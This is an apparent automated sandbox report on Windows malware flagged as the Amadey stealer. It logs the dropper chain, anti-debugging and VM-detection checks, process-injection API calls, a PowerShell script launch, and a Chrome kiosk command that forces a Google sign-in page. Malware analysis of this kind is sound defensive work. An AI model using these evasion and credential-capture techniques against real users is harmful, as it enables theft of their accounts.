Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF034C second address: 4BF03D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D8517B911h 0x00000009 jmp 00007F0D8517B90Bh 0x0000000e popfd 0x0000000f mov eax, 12786D7Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 push ebx 0x0000001a call 00007F0D8517B90Eh 0x0000001f pop esi 0x00000020 pop edi 0x00000021 jmp 00007F0D8517B910h 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F0D8517B90Ch 0x00000030 sbb ecx, 6A8B1FC8h 0x00000036 jmp 00007F0D8517B90Bh 0x0000003b popfd 0x0000003c mov bx, si 0x0000003f popad 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 jmp 00007F0D8517B90Eh 0x00000048 pop ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push ecx 0x0000004d pop edx 0x0000004e popad 0x0000004f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\1000115002\6b11689b40.exe	Special instruction interceptor: First address: FE46E3 instructions caused by: Self-modifying code
Source: C:\Users\user\1000115002\6b11689b40.exe	Special instruction interceptor: First address: E41B22 instructions caused by: Self-modifying code
Source: C:\Users\user\1000115002\6b11689b40.exe	Special instruction interceptor: First address: 10784B0 instructions caused by: Self-modifying code

Source: C:\Users\user\1000115002\6b11689b40.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\1000115002\6b11689b40.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\1000115002\6b11689b40.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 9603	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1952	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 755	Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	API coverage: 3.2 %
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API coverage: 1.3 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep count: 9603 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep time: -288090000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5512	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep count: 207 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2676	Thread sleep time: -6210000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1272	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006DDC0D FindFirstFileExW,	0_2_006DDC0D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0017DC0D FindFirstFileExW,	1_2_0017DC0D
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0005E430
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_000638B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	4_2_000638B0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00064910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00064910
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	4_2_0005ED20
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00064570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	4_2_00064570
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0005DE10
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	4_2_0005BE70
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0005DA80
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00063EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	4_2_00063EA0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0005F6B0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_000516D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_000516D0

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006A7D30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

0_2_006A7D30

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 6b11689b40.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000003.00000002.4500898178.0000000001097000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 6b11689b40.exe, 00000005.00000002.2214014711.0000000001AB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: chrome.exe, 0000000A.00000002.4507734205.0000020C0520F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000008.00000002.2249102526.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\a?
Source: chrome.exe, 0000000A.00000003.2927746811.0000020C08DA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: skotes.exe, 00000003.00000002.4500898178.0000000001097000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.4500898178.0000000001038000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000004.00000002.2121787066.0000000000C1D000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, 6b11689b40.exe, 00000005.00000002.2214014711.0000000001AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 6b11689b40.exe, 00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 6b11689b40.exe, 00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware7
Source: 4qIl08vrFY.exe, 00000000.00000003.2034922216.000000000087F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000008.00000002.2249102526.0000000007A1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5
Source: 6b11689b40.exe, 00000005.00000002.2213276229.0000000000FC6000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: chrome.exe, 0000000A.00000002.4506852429.0000020C05187000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll==YYP
Source: 6b11689b40.exe, 00000005.00000002.2214014711.0000000001AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12393
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12235
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12396
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12415
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12407
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	API call chain: ExitProcess graph end node	graph_4-12436

Source: C:\Users\user\1000115002\6b11689b40.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\1000115002\6b11689b40.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\1000115002\6b11689b40.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\1000115002\6b11689b40.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: regmonclass
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: ollydbg
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: filemonclass
Source: C:\Users\user\1000115002\6b11689b40.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: NTICE
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: SICE
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: SIWVID

Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort
Source: C:\Users\user\1000115002\6b11689b40.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006D6AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006D6AAE

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Code function: 4_2_000545C0 VirtualProtect ?,00000004,00000100,00000000

4_2_000545C0

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006CBF99 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006CBF99

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006DA302 mov eax, dword ptr fs:[00000030h]	0_2_006DA302
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006D652B mov eax, dword ptr fs:[00000030h]	0_2_006D652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0017A302 mov eax, dword ptr fs:[00000030h]	1_2_0017A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0017652B mov eax, dword ptr fs:[00000030h]	1_2_0017652B
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00069750 mov eax, dword ptr fs:[00000030h]	4_2_00069750

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Code function: 4_2_00067850 GetProcessHeap,HeapAlloc,GetUserNameA,

4_2_00067850

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BD1E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006BD1E7
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006D6AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006D6AAE
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BDBA5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006BDBA5
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BDD0A SetUnhandledExceptionFilter,	0_2_006BDD0A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015D1E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0015D1E7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00176AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00176AAE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015DBA5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0015DBA5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015DD0A SetUnhandledExceptionFilter,	1_2_0015DD0A
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0006AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0006AD48
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0006CEEA SetUnhandledExceptionFilter,	4_2_0006CEEA
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0006B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0006B33A

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: skotes.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6b11689b40.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006A70A0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

0_2_006A70A0

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Code function: 4_2_00069600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00069600

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000113001\num.exe "C:\Users\user\AppData\Local\Temp\1000113001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000115002\6b11689b40.exe "C:\Users\user\1000115002\6b11689b40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data	Jump to behavior

Source: 6b11689b40.exe, 6b11689b40.exe, 00000005.00000002.2213276229.0000000000FC6000.00000040.00000001.01000000.0000000B.sdmp

Binary or memory string: ^@Program Manager

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006BDD91 cpuid

0_2_006BDD91

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

4_2_00067B90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000113001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000113001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000115002\6b11689b40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000115002\6b11689b40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\1000115002\6b11689b40.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

0_2_006AAA09

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006AB1A0 GetUserNameA,

0_2_006AB1A0

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006E2517 _free,_free,_free,GetTimeZoneInformation,_free,

0_2_006E2517

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006A7D30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

0_2_006A7D30

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4qIl08vrFY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.4qIl08vrFY.exe.6a0000.0.unpack, type: UNPACKEDPE
